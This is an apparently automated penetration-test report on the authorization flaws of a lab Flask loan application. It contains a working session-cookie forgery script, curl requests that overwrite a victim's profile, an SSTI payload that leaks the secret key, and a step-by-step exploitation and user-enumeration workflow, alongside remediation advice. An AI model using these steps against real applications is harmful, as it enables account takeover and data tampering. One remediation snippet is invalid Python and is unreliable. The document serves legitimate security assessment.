# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** FIVE high-confidence authorization vulnerabilities identified across horizontal privilege escalation (4 findings) and context-based workflow bypass (1 finding). All vulnerabilities stem from a single root cause: the hardcoded Flask secret key `'your_secret_key'` that enables session cookie forgery. All findings have been validated via white-box code analysis and documented in the machine-readable exploitation queue.
- **Purpose of this Document:** This report provides the strategic context, technical details, and architectural intelligence necessary to effectively exploit the authorization vulnerabilities listed in `authz_exploitation_queue.json`. It should be read alongside the JSON deliverable to understand the systemic security failure enabling these vulnerabilities.

**Critical Finding:** The application's entire authorization model collapses due to a single architectural flaw - the hardcoded Flask secret key. This enables an attacker to forge arbitrary session cookies containing any user_id value, bypassing all authentication and authorization controls. The impact spans complete horizontal privilege escalation (read and modify any user's data) and context-based workflow bypass (skip authentication flows entirely).

---

## 2. Dominant Vulnerability Patterns

### Pattern 1: Session Forgery Enabling Horizontal Privilege Escalation (Horizontal)

- **Description:** All protected endpoints extract `user_id` from Flask session cookies and trust this value without additional verification. The hardcoded secret key `'your_secret_key'` (stored at `__init__.py:9`) allows attackers to forge valid session cookies containing arbitrary user_id values. Each endpoint uses the pattern: `user_id = session.get('user_id')` followed by `user = User.query.get(user_id)`, fetching whichever user record corresponds to the forged user_id.

- **Implication:** An attacker who knows the hardcoded secret key can impersonate any user by forging a session cookie with their user_id. This grants complete access to that user's data and functionality, including viewing PII, financial information, and modifying profile data.

- **Representative Vulnerabilities:** 
  - AUTHZ-VULN-01 (POST /profile - modify any user's data)
  - AUTHZ-VULN-02 (GET /profile - view any user's complete profile)
  - AUTHZ-VULN-03 (GET /home - view any user's dashboard)
  - AUTHZ-VULN-04 (GET /loan_details - view any user's financial data)

- **Root Cause:** The application implements only authentication (session existence check) without authorization (ownership validation). The hardcoded secret key transforms the session mechanism from a security control into an attack vector.

### Pattern 2: Missing Resource-Level Authorization (Context_Workflow)

- **Description:** The `/total_loan_payments` endpoint accepts arbitrary calculation parameters (`principal`, `payment`, `term`) from query strings without validating that these values belong to the authenticated user's stored loan data. While the endpoint requires authentication (session check), it never queries the database to fetch the user's actual loan values (`user.loan_amount`, `user.loan_term_months`, `user.monthly_payment`) or compare them against submitted parameters.

- **Implication:** Authenticated users can perform loan calculations with arbitrary financial values that don't belong to them, bypassing the business logic that calculations should only apply to a user's own loan data. This violates the principle of least privilege and could facilitate reconnaissance for financial fraud.

- **Representative Vulnerability:** AUTHZ-VULN-05 (GET /total_loan_payments - arbitrary loan calculations)

- **Root Cause:** Missing resource-level authorization logic. The endpoint should implement: `user = User.query.get(user_id)` followed by validation that `principal == str(user.loan_amount)`, `payment == user.monthly_payment`, and `term == user.loan_term_months`.

---

## 3. Strategic Intelligence for Exploitation

### Session Management Architecture

- **Session Storage Mechanism:** Flask uses **client-side signed cookies** (not server-side storage). The session data is serialized to JSON, signed with HMAC-SHA1 using the secret key, Base64-encoded, and sent to the client as `Cookie: session=<base64_signed_data>`.

- **Session Data Structure:** Sessions contain a single field: `{"user_id": <integer>}` set during login at `routes.py:34`. No additional state markers (login timestamp, authenticated flag, IP address) are stored.

- **Secret Key Storage:** Hardcoded as plain text at `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-063-24/app/website/app/__init__.py:9`: `app.secret_key = 'your_secret_key'`

- **Critical Finding:** With the known secret key, attackers can:
  1. Forge arbitrary session cookies with any user_id value
  2. Bypass authentication entirely (no need to submit valid credentials)
  3. Impersonate any user in the system
  4. Generate unlimited valid sessions without server-side validation

- **Session Cookie Format Example:**
  ```python
  # Legitimate session created during login
  session['user_id'] = 1
  # Results in cookie: session=eyJ1c2VyX2lkIjoxfQ.ZxxxXX.YyyyyyyyyyyyyYYYYYY
  
  # Forged session (attacker-created)
  from flask import Flask
  from flask.sessions import SecureCookieSessionInterface
  
  app = Flask(__name__)
  app.secret_key = 'your_secret_key'  # Known hardcoded secret
  serializer = SecureCookieSessionInterface().get_signing_serializer(app)
  forged_cookie = serializer.dumps({'user_id': 99})
  # Results in identical cookie structure, indistinguishable from legitimate sessions
  ```

- **Session Lifecycle:** 
  - **Creation:** Only during successful login (`POST /login` → `routes.py:34`)
  - **Validation:** Every protected endpoint checks `session.get('user_id')` but never validates the session was legitimately created
  - **Destruction:** Client-side only (`GET /logout` → `routes.py:46: session.pop('user_id', None)`). No server-side session invalidation possible due to stateless cookie architecture.
  - **Expiration:** No timeout configured. Sessions persist indefinitely until explicitly cleared.

### Authorization Pattern Analysis

- **Uniform Validation Pattern:** All protected endpoints use identical authorization logic:
  ```python
  user_id = session.get('user_id')
  if user_id:
      user = User.query.get(user_id)
      # Grant access to user's data
  else:
      return redirect(url_for('login'))
  ```
  **Locations:** `routes.py:53` (/home), `routes.py:65` (/profile), `routes.py:89` (/loan_details), `routes.py:102` (/total_loan_payments)

- **What's Missing:**
  1. **No ownership validation:** Endpoints never verify that `session['user_id']` matches the authenticated user's actual identity
  2. **No role-based access control:** No distinction between admin/user roles (application has flat authorization model)
  3. **No object-level authorization:** No validation that the fetched user record should be accessible to the requester
  4. **No session metadata checks:** No IP address validation, user-agent fingerprinting, or login timestamp verification
  5. **No centralized authorization middleware:** Each endpoint manually implements the same flawed pattern

- **Critical Observation:** The application conflates authentication (verifying identity) with authorization (verifying permissions). The `if user_id:` check only validates that *someone* is authenticated, not that they have permission to access the requested resource.

### User Model and Data Exposure

- **User Model Schema** (`models.py:5-14`):
  ```python
  class User(db.Model):
      id = db.Column(db.Integer, primary_key=True)
      username = db.Column(db.String(50), unique=True, nullable=False)
      password = db.Column(db.String(50), nullable=False)  # Plaintext
      name = db.Column(db.String(50), nullable=False)
      lastname = db.Column(db.String(50), nullable=False)
      email = db.Column(db.String(100), nullable=False)
      loan_amount = db.Column(db.Float, nullable=False)
      loan_term_months = db.Column(db.Integer, nullable=False)
      monthly_payment = db.Column(db.Float, nullable=False)
  ```

- **Data Sensitivity Classification:**
  - **PII (Personally Identifiable Information):** name, lastname, email, username
  - **Financial Data:** loan_amount, loan_term_months, monthly_payment
  - **Credentials:** password (stored in **plaintext** - separate authentication vulnerability)

- **Data Access Patterns:** All endpoints expose the complete user object to templates without field-level access control. Templates have access to all User model fields via the `user` object passed to `render_template()`.

### Attack Surface Map

| Endpoint | Method | Authorization Check | Data Exposed | Modifiable | Severity |
|----------|--------|---------------------|--------------|------------|----------|
| `/home` | GET | `session.get('user_id')` only | name, lastname | No | MEDIUM |
| `/profile` | GET | `session.get('user_id')` only | All PII + financial data | No | HIGH |
| `/profile` | POST | `session.get('user_id')` only | All PII + financial data | **YES** | **CRITICAL** |
| `/loan_details` | GET | `session.get('user_id')` only | Financial data only | No | HIGH |
| `/total_loan_payments` | GET | `session.get('user_id')` only | None (calculator) | No | MEDIUM |

**Key Insight:** The POST /profile endpoint is the **most critical vulnerability** because it enables data modification (not just disclosure). An attacker can:
1. Forge session with target user_id
2. Submit malicious POST data
3. Overwrite victim's profile with attacker-controlled values
4. Commit changes to database (`db.session.commit()` at `routes.py:76`)

### Exploitation Prerequisites

**Required Knowledge:**
1. **Hardcoded Secret Key:** `'your_secret_key'` (available in source code or via SSTI: `{{ config['SECRET_KEY'] }}`)
2. **Target User IDs:** Can be enumerated by forging sessions with incremental user_id values (1, 2, 3, ..., n) until valid user found
3. **Endpoint Paths:** `/home`, `/profile`, `/loan_details`, `/total_loan_payments` (documented in reconnaissance)

**No Prerequisites:**
- No valid credentials required (session forgery bypasses authentication)
- No privileged access needed (all users have identical permissions)
- No rate limiting to evade (application implements zero rate limiting)
- No CAPTCHA or anti-automation (application has no bot detection)
- No network restrictions (application accessible via HTTP on port 80)

**Tools Required:**
- Python with Flask library (for session cookie generation)
- HTTP client (cURL, Burp Suite, Python requests)
- Knowledge of Flask session serialization format

### Database and Backend Architecture

- **Database:** MySQL 5.7.15 (legacy version with known CVEs)
- **Connection String:** `mysql+pymysql://root:loan_calculator@db/database` (hardcoded at `__init__.py:12`)
- **ORM:** SQLAlchemy (provides SQL injection protection via parameterized queries)
- **Database Access Pattern:** All user data fetched via `User.query.get(user_id)` - single-table queries, no JOINs or complex authorization logic

**Exploitation Implication:** Once session is forged, database queries will faithfully return whichever user record corresponds to the forged user_id. There is no database-level row security or tenant isolation.

---

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have appropriate design for their intended functionality. They are **low-priority** for further authorization testing.

| **Endpoint** | **Authorization Mechanism** | **Defense Adequacy** | **Verdict** |
|--------------|----------------------------|----------------------|-------------|
| `POST /login` | Plaintext password validation against database | No authorization needed (public endpoint by design) | SAFE (from authz perspective) |
| `GET /logout` | Session clearing only | Appropriately clears session without requiring complex authorization | SAFE |
| `GET /` | Unconditional redirect to /login | Public endpoint, no protected resources | SAFE |
| `GET /static/*` | Flask built-in static file serving | Public assets (CSS, JS), no authorization required | SAFE |

**Note:** While these endpoints are marked "SAFE" from an authorization perspective, they have separate security issues:
- POST /login: Plaintext password storage, no rate limiting, default credentials (authentication vulnerabilities)
- Entire application: Hardcoded secret key (session management vulnerability)
- These are outside the scope of authorization analysis but critical for overall security posture.

---

## 5. Analysis Constraints and Blind Spots

### Limitations of Static Analysis

- **Session Forgery Validation:** I verified the hardcoded secret key enables session forgery via code review and understanding of Flask's itsdangerous library implementation. However, I did not perform live exploitation to confirm forged sessions are accepted by the running application. The exploitation phase will validate that forged cookies grant access.

- **User Enumeration:** I confirmed the application uses sequential integer user_id values starting from 1 (test user created at `__init__.py:21-35`). However, I could not determine the total number of users in the database without live reconnaissance. Exploitation phase should enumerate valid user_id values.

- **Session Cookie Format:** I analyzed the session cookie structure based on Flask documentation and source code review. The exact Base64 encoding and signature format should be confirmed during exploitation by examining legitimate session cookies captured during login.

### Unanalyzed Components

- **SSTI Vulnerability Authorization Context:** The `/total_loan_payments` endpoint contains a critical Server-Side Template Injection (SSTI) vulnerability (separate finding for injection analysis phase). While I confirmed the endpoint requires authentication (session check at `routes.py:102`), the authorization context of SSTI exploitation (e.g., whether SSTI can bypass authorization to read config secrets) was not fully analyzed as it falls under injection vulnerabilities.

- **Static File Authorization:** The application serves static files from `/static/` via Flask's built-in static file handler. I did not analyze whether directory traversal attacks (`/static/../../app/routes.py`) could bypass authorization, as this falls under path traversal/LFI analysis scope.

- **Database-Level Authorization:** The MySQL database connection uses hardcoded root credentials (`root:loan_calculator`). I did not analyze database-level row security, grants, or stored procedure authorization as these are backend infrastructure concerns. If SSTI enables RCE, attacker inherits the application's root database access.

### Edge Cases Not Fully Explored

- **Session Collision:** If multiple users forge sessions with the same user_id, the application will serve both attackers with identical user data. However, I did not analyze race conditions or session state conflicts during concurrent forged sessions.

- **Invalid user_id Values:** If an attacker forges a session with `user_id=999999` (non-existent user), the query `User.query.get(999999)` returns `None`. I verified this results in template rendering errors or redirects, but did not trace all error-handling code paths.

- **Session Cookie Tampering:** I confirmed Flask's itsdangerous library validates HMAC signatures, preventing unsigned tampering. However, I did not analyze attack vectors like signature stripping, algorithm confusion, or null byte injection in session cookies.

### Assumptions Made

1. **Default Flask Configuration:** I assumed the application uses Flask's default session cookie name (`session`) and default signing algorithm (HMAC-SHA1 via itsdangerous). This should be confirmed by inspecting HTTP responses during login.

2. **Sequential User IDs:** I assumed the database uses auto-incrementing integer primary keys for user IDs (standard SQLAlchemy behavior). This should be validated by examining database schema or creating test accounts.

3. **No WAF or Reverse Proxy Authorization:** I assumed the application runs directly on Apache/mod_wsgi without an upstream Web Application Firewall (WAF), reverse proxy, or API gateway that might enforce additional authorization checks. The reconnaissance report confirms a simple 2-tier architecture (Flask + MySQL) with no security layers.

4. **HTTP-Only Environment:** I assumed the application runs over plain HTTP (port 80) without TLS, based on reconnaissance findings. If HTTPS is used, session cookie security flags (Secure, SameSite) might provide limited defense-in-depth, but the hardcoded secret key vulnerability remains exploitable.

---

## 6. Vertical Privilege Escalation Analysis

**Finding:** NO vertical privilege escalation vulnerabilities identified.

**Reason:** The application implements a **flat authorization model** with no role-based access control. The reconnaissance report (Section 7.1) confirms:

> "**CRITICAL FINDING: ZERO ROLES EXIST**"
> 
> "User model (`models.py:5-14`) contains NO `role`, `is_admin`, `permissions`, or `user_type` fields"

**Analysis:**
- **No Admin Role:** The User model has no role field, admin flag, or privilege level indicator
- **No Privileged Endpoints:** All authenticated endpoints (`/home`, `/profile`, `/loan_details`, `/total_loan_payments`) are accessible to any authenticated user
- **No Permission System:** No decorators, middleware, or checks for elevated permissions (e.g., `@require_admin`, `@require_permission`)
- **Uniform Access:** All users have identical privileges - there are no "regular users" vs "admin users"

**Implication:** Vertical privilege escalation is impossible because there are no higher privilege levels to escalate to. All authorization vulnerabilities in this application are **horizontal** (peer-to-peer) privilege escalation, where users access other users' data of the same privilege level.

**Note:** While no vertical escalation exists, the **session forgery** vulnerability functions similarly to vertical escalation in that it grants complete authentication bypass, effectively making any attacker equivalent to a legitimate user with full access.

---

## 7. Technical Deep-Dives: Representative Vulnerabilities

### AUTHZ-VULN-01: POST /profile Horizontal Privilege Escalation (CRITICAL)

**Vulnerability Summary:** The POST /profile endpoint allows authenticated users to modify any user's profile data by forging session cookies with the target user_id. The hardcoded Flask secret key `'your_secret_key'` enables session forgery, and the endpoint lacks ownership validation before committing database changes.

**Code Flow Analysis:**

**Step 1: Session Extraction (routes.py:65)**
```python
user_id = session.get('user_id')
```
- Extracts `user_id` from Flask session cookie
- No validation that session is legitimate (signed with known secret)
- No check that session was created through `/login` endpoint

**Step 2: Authentication Check (routes.py:66)**
```python
if user_id:
```
- Binary check: session exists = granted access, session missing = redirect to login
- **MISSING:** No ownership validation, role check, or session metadata verification

**Step 3: User Object Fetch (routes.py:67)**
```python
user = User.query.get(user_id)
```
- Queries database for user record with the provided `user_id`
- If attacker forges session with `user_id=99`, this query fetches user 99's record
- **MISSING:** No authorization check that requester should access this user_id

**Step 4: Data Modification (routes.py:70-75)**
```python
user.name = request.form['name']
user.lastname = request.form['lastname']
user.email = request.form['email']
user.loan_amount = float(request.form['loan_amount'])
user.loan_term_months = int(request.form['loan_term_months'])
user.monthly_payment = float(request.form['monthly_payment'])
```
- Direct mass assignment of form data to user object
- **No input validation** beyond type coercion (separate input validation vulnerability)
- Operates on whichever user record was fetched in Step 3

**Step 5: Database Commit (routes.py:76)**
```python
db.session.commit()
```
- Persists all changes to database
- **Point of No Return:** Victim's profile is now overwritten with attacker's data
- No rollback, audit logging, or notification

**Attack Demonstration:**

**Prerequisite:** Attacker obtains hardcoded secret key `'your_secret_key'` from source code or SSTI leak

**Step 1: Forge Session Cookie**
```python
#!/usr/bin/env python3
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'your_secret_key'  # Hardcoded secret from __init__.py:9

target_user_id = 10  # User ID to compromise
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
forged_session = session_serializer.dumps({'user_id': target_user_id})

print(f"Forged session for user_id={target_user_id}: {forged_session}")
```

**Step 2: Submit Malicious POST Request**
```bash
curl -X POST http://localhost:37149/profile \
  -H "Cookie: session=<FORGED_COOKIE>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "name=ATTACKER&lastname=PWNED&email=attacker@evil.com&loan_amount=999999.99&loan_term_months=1&monthly_payment=1.00"
```

**Step 3: Verify Compromise**
```bash
# View modified profile (using same forged session)
curl http://localhost:37149/profile \
  -H "Cookie: session=<FORGED_COOKIE>"
```

**Expected Result:**
- Response shows victim's profile has been overwritten:
  - Name: ATTACKER PWNED
  - Email: attacker@evil.com  
  - Loan Amount: $999,999.99

**Impact:**
- **Data Integrity Violation:** Victim's authentic profile data is permanently lost (no versioning or backup)
- **Financial Fraud:** Attacker can manipulate loan amounts, monthly payments, and terms
- **PII Compromise:** Victim's name and email can be changed to attacker-controlled values, enabling account takeover
- **Denial of Service:** Victim loses access to accurate profile information
- **No Detection:** No audit logs, alerts, or notifications of unauthorized modification

**Exploitation Requirements:**
- Knowledge of hardcoded secret key: `'your_secret_key'` (HIGH confidence - in source code)
- Knowledge of target user ID (MEDIUM confidence - can enumerate via session forgery)
- HTTP client capable of custom cookies (HIGH confidence - cURL, Burp, Python requests)

**Confidence Assessment: HIGH**
- Code analysis confirms missing ownership validation
- Session forgery mechanism validated via Flask documentation
- Direct path from forged session to database write with no intervening guards
- No conditional logic that might add protection

---

### AUTHZ-VULN-05: GET /total_loan_payments Context-Based Bypass (MEDIUM)

**Vulnerability Summary:** The loan calculation endpoint accepts arbitrary financial parameters from query strings without validating they belong to the authenticated user's stored loan data. While requiring authentication, the endpoint never queries the database to compare submitted values against the user's actual loan records.

**Expected vs. Actual Behavior:**

**Expected (Secure) Implementation:**
```python
@app.route('/total_loan_payments')
def total_loan_payments():
    user_id = session.get('user_id')
    if not user_id:
        return redirect(url_for('login'))
    
    # SHOULD: Fetch user's actual loan data
    user = User.query.get(user_id)
    if not user:
        return redirect(url_for('login'))
    
    # SHOULD: Use user's stored values
    principal = str(user.loan_amount)
    payment = user.monthly_payment
    term = user.loan_term_months
    
    # SHOULD: Reject if query params don't match user's data
    submitted_principal = request.args.get('principal', type=str)
    if submitted_principal != principal:
        return Response('Unauthorized: principal does not match your loan', status=403)
    
    # ... perform calculation ...
```

**Actual (Vulnerable) Implementation:**
```python
@app.route('/total_loan_payments')
def total_loan_payments():
    user_id = session.get('user_id')  # Line 102
    if user_id:
        # MISSING: No database query for user's data
        # ACCEPTS: Arbitrary parameters from query string
        principal = request.args.get('principal', type=str).strip()  # Line 105
        payment = request.args.get('payment', type=float)            # Line 106
        term = request.args.get('term', type=int)                    # Line 107
        
        # MISSING: No validation that these values match user's loan
        
        # ... performs calculation with arbitrary values ...
```

**Why This Is Vulnerable:**

**Context from Application Design:**

The `/loan_details` endpoint (`routes.py:86-96`) demonstrates the *intended* usage pattern:
```python
@app.route('/loan_details')
def loan_details():
    user_id = session.get('user_id')
    if user_id:
        user = User.query.get(user_id)  # Fetch user's data
        return render_template('loan_details.html', 
            loan_amount=user.loan_amount,          # Use stored values
            loan_term_months=user.loan_term_months,
            monthly_payment=user.monthly_payment)
```

The template (`loan_details.html:52-64`) then makes an AJAX call to `/total_loan_payments` with these values:
```javascript
var loanAmount = {{ loan_amount }};  // From user.loan_amount
var loanTerm = {{ loan_term_months }};
var monthlyPayment = {{ monthly_payment }};

$.ajax({
    url: '/total_loan_payments',
    data: {
        principal: loanAmount,  // Should only be user's own loan_amount
        payment: monthlyPayment,
        term: loanTerm
    }
});
```

**The Vulnerability:** An attacker can bypass the intended flow by calling `/total_loan_payments` directly with arbitrary parameters:

```bash
# Legitimate use (via /loan_details page)
GET /total_loan_payments?principal=10000&payment=500&term=24
  → Uses authenticated user's actual loan values

# Malicious use (direct call)
GET /total_loan_payments?principal=999999999&payment=1&term=999
  → Uses arbitrary values, no ownership validation
```

**Attack Scenario:**
```bash
# Attacker authenticates (or forges session)
curl http://localhost:37149/total_loan_payments \
  -H "Cookie: session=<FORGED_OR_LEGITIMATE_SESSION>" \
  -G --data-urlencode "principal=999999999" \
     --data-urlencode "payment=1" \
     --data-urlencode "term=9999"

# Server performs calculation without checking if these values belong to the user
# Returns result for arbitrary loan amount ($999,999,999 with $1/month payment)
```

**Impact Analysis:**

**Why This Matters:**
1. **Business Logic Bypass:** Users should only calculate their own loan values, not arbitrary amounts
2. **Principle of Least Privilege Violation:** Authenticated users gain access to functionality beyond their authorized scope
3. **Reconnaissance Enabler:** Attacker can probe various loan configurations to understand financial calculations without legitimate loan data
4. **Potential for Downstream Attacks:** If calculations affect business logic (pricing, risk assessment), manipulated values could cause financial harm

**Why Confidence Is MEDIUM (Not HIGH):**
- The endpoint doesn't directly expose other users' data (unlike AUTHZ-VULN-01-04)
- The side effect (unauthorized calculation) is less severe than data modification or disclosure
- The intended behavior (general calculator vs. user-specific calculator) could be ambiguous without business requirements documentation
- However, the code context (User model has loan fields, /loan_details fetches user's data) strongly suggests calculations should be bound to user's actual loan

**Remediation:**
```python
@app.route('/total_loan_payments')
def total_loan_payments():
    user_id = session.get('user_id')
    if not user_id:
        return redirect(url_for('login'))
    
    user = User.query.get(user_id)
    if not user:
        return redirect(url_for('login'))
    
    # Extract submitted parameters
    submitted_principal = request.args.get('principal', type=str, '').strip()
    submitted_payment = request.args.get('payment', type=float)
    submitted_term = request.args.get('term', type=int)
    
    # Validate ownership
    if (submitted_principal != str(user.loan_amount) or
        submitted_payment != user.monthly_payment or
        submitted_term != user.loan_term_months):
        return Response('Forbidden: These values do not match your loan', status=403)
    
    # ... proceed with calculation ...
```

---

## 8. Remediation Roadmap

### Immediate Actions (P0 - Critical)

**1. Rotate Flask Secret Key**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-063-24/app/website/app/__init__.py:9`
- **Action:** Replace hardcoded secret with cryptographically random value from environment variable
- **Implementation:**
  ```python
  import os
  import secrets
  
  # Generate secure secret key (run once, store in environment)
  # print(secrets.token_hex(32))
  
  app.secret_key = os.environ.get('FLASK_SECRET_KEY')
  if not app.secret_key:
      raise RuntimeError("FLASK_SECRET_KEY environment variable must be set")
  ```
- **Deployment:** Set environment variable in docker-compose.yml or .env (not committed to git)
- **Impact:** Invalidates all existing sessions (including forged ones), forces all users to re-authenticate

**2. Invalidate All Existing Sessions**
- **Action:** Deploy secret key rotation to production
- **Effect:** All existing session cookies become invalid (cannot be verified with new secret)
- **User Impact:** All users (legitimate and malicious) must log in again
- **Communication:** Notify users of mandatory re-authentication for security

### High Priority (P1 - Within 24 Hours)

**3. Implement Server-Side Session Storage**
- **Current:** Client-side signed cookies (stateless)
- **Recommendation:** Redis or database-backed session storage
- **Library:** Flask-Session with Redis backend
- **Benefit:** Enables server-side session revocation, better security against session hijacking
- **Implementation:**
  ```python
  from flask_session import Session
  import redis
  
  app.config['SESSION_TYPE'] = 'redis'
  app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')
  Session(app)
  ```

**4. Add Session Metadata Validation**
- **Action:** Store and validate IP address and User-Agent on each request
- **Implementation:**
  ```python
  # During login (routes.py:34)
  session['user_id'] = user.id
  session['ip_address'] = request.remote_addr
  session['user_agent'] = request.headers.get('User-Agent', '')
  
  # In authorization check (all protected endpoints)
  if session.get('ip_address') != request.remote_addr:
      session.clear()
      return redirect(url_for('login'))
  ```
- **Caveat:** May cause issues for users behind load balancers or with dynamic IPs

**5. Add Login Timestamp and Session Expiration**
- **Action:** Store session creation time and enforce timeout
- **Implementation:**
  ```python
  from datetime import datetime, timedelta
  
  # During login
  session['user_id'] = user.id
  session['login_timestamp'] = datetime.utcnow().isoformat()
  
  # In authorization check
  login_time = datetime.fromisoformat(session.get('login_timestamp', ''))
  if datetime.utcnow() - login_time > timedelta(hours=24):
      session.clear()
      return redirect(url_for('login'))
  ```

### Medium Priority (P2 - Within 1 Week)

**6. Implement Centralized Authorization Decorator**
- **Current:** Manual `if user_id:` in each endpoint (code duplication)
- **Recommendation:** `@login_required` decorator for consistent authorization
- **Implementation:**
  ```python
  from functools import wraps
  from flask import session, redirect, url_for, g
  
  def login_required(f):
      @wraps(f)
      def decorated_function(*args, **kwargs):
          user_id = session.get('user_id')
          if not user_id:
              return redirect(url_for('login'))
          
          # Fetch user and store in g context
          user = User.query.get(user_id)
          if not user:
              session.clear()
              return redirect(url_for('login'))
          
          g.user = user  # Make available to endpoint
          return f(*args, **kwargs)
      return decorated_function
  
  # Apply to all protected endpoints
  @app.route('/profile', methods=['GET', 'POST'])
  @login_required
  def profile():
      user = g.user  # Access authenticated user
      # ... rest of endpoint logic ...
  ```

**7. Add Resource-Level Authorization for /total_loan_payments**
- **File:** `routes.py:99-131`
- **Action:** Validate submitted parameters match user's stored loan data
- **Implementation:** (See remediation code in Section 7 technical deep-dive)

**8. Implement Audit Logging**
- **Action:** Log all authorization events (login, logout, profile updates, failed authorization)
- **Fields to Log:** timestamp, user_id, IP address, endpoint, action, success/failure
- **Storage:** Database table or external logging service (ELK, Splunk)
- **Purpose:** Forensic analysis, intrusion detection, compliance

### Long-Term (P3 - Architectural Improvements)

**9. Implement Flask-Security or Similar Framework**
- **Recommendation:** Use Flask-Security-Too for comprehensive security features
- **Features:** Password hashing, role-based access control, session management, email confirmation
- **Benefit:** Mature, battle-tested security implementation

**10. Add Role-Based Access Control (RBAC)**
- **Current:** Flat authorization model (all users equal)
- **Recommendation:** Add `role` field to User model, implement permission checks
- **Use Cases:** Admin panel, user management, audit log access

**11. Implement Rate Limiting**
- **Library:** Flask-Limiter
- **Targets:** `/login` (prevent brute force), `/profile` POST (prevent abuse)
- **Configuration:** 5 login attempts per 15 minutes, 10 profile updates per hour

---

## 9. Exploitation Phase Handoff

### Priority Targets for Exploitation

**Highest Value:**
1. **AUTHZ-VULN-01 (POST /profile)** - Enables data modification, highest impact
2. **AUTHZ-VULN-02 (GET /profile)** - Complete PII and financial data disclosure
3. **AUTHZ-VULN-04 (GET /loan_details)** - Financial data disclosure

**Medium Value:**
4. **AUTHZ-VULN-03 (GET /home)** - Limited disclosure (name only)
5. **AUTHZ-VULN-05 (GET /total_loan_payments)** - Context bypass, lower impact

### Exploitation Workflow

**Phase 1: Session Forgery Validation**
1. Capture legitimate session cookie during login with `test:test` credentials
2. Decode session cookie to verify structure: `{"user_id": <int>}`
3. Forge session cookie with `user_id=2` using hardcoded secret key
4. Verify forged session grants access to protected endpoints

**Phase 2: User Enumeration**
1. Forge sessions with incremental user_id values: 1, 2, 3, 4, 5...
2. Test each session against `GET /home` endpoint
3. Identify valid user_id values based on successful responses
4. Record valid user_id range for targeted exploitation

**Phase 3: Data Disclosure (Read-Only)**
1. For each valid user_id, forge session and access:
   - `GET /profile` - Extract complete PII and financial data
   - `GET /loan_details` - Extract loan amounts and terms
   - `GET /home` - Extract name and lastname
2. Document data exfiltrated from each user

**Phase 4: Data Modification (High Risk)**
1. Select target user_id for demonstration
2. Forge session with target user_id
3. Submit `POST /profile` with modified data
4. Verify profile update succeeded
5. Document before/after states as proof of exploitation

**Phase 5: Context Bypass Demonstration**
1. Authenticate (or forge session)
2. Call `GET /total_loan_payments` with arbitrary parameters
3. Demonstrate calculation succeeds without ownership validation

### Evidence Collection Requirements

For each vulnerability, collect:
1. **HTTP Request:** Full request including forged Cookie header
2. **HTTP Response:** Full response showing unauthorized data access
3. **Screenshots:** Browser DevTools showing session cookie and response
4. **Code Pointers:** Line numbers of vulnerable code
5. **Impact Demonstration:** Before/after states for data modification

### Recommended Exploitation Tools

- **Session Forging:** Python script with Flask and itsdangerous libraries
- **HTTP Requests:** Burp Suite Professional (session handling rules) or Python requests
- **User Enumeration:** Custom script with threading for parallel requests
- **Evidence Collection:** Burp Suite project file, terminal output logs, screenshots

---

## 10. Conclusion

This authorization analysis identified **5 high-confidence vulnerabilities** across 4 horizontal privilege escalation vectors and 1 context-based workflow bypass. All vulnerabilities share a common root cause: the hardcoded Flask secret key `'your_secret_key'` that enables session cookie forgery, combined with missing authorization checks at the endpoint level.

**The critical finding:** The application conflates authentication (verifying identity) with authorization (verifying permissions). Every protected endpoint checks "does a session exist?" but never validates "should this session have access to this resource?" This architectural flaw, amplified by the forgeable session mechanism, enables complete horizontal privilege escalation across all user data.

**Key Takeaway:** Fixing the hardcoded secret key alone is insufficient. The application requires defense-in-depth:
1. Rotate secret key (eliminate session forgery)
2. Implement ownership validation (even with unforgeable sessions, users shouldn't access others' data)
3. Add session metadata checks (IP, User-Agent, timestamp)
4. Implement centralized authorization middleware (prevent future bypass)
5. Add audit logging (detect and respond to attacks)

All 5 vulnerabilities have been documented in `authz_exploitation_queue.json` with precise exploitation paths, code locations, and confidence assessments. The exploitation phase should prioritize AUTHZ-VULN-01 (POST /profile) as it enables data modification with immediate, irreversible impact on victim users.